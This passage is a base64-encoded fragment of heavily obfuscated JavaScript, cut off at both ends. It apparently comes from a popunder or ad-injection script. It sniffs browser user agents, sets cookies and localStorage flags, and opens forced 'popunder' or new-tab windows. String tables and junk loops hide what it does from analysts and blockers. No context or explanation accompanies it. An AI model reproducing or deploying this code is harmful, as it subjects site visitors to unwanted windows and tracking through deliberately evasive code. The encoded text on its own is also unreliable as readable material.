aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKH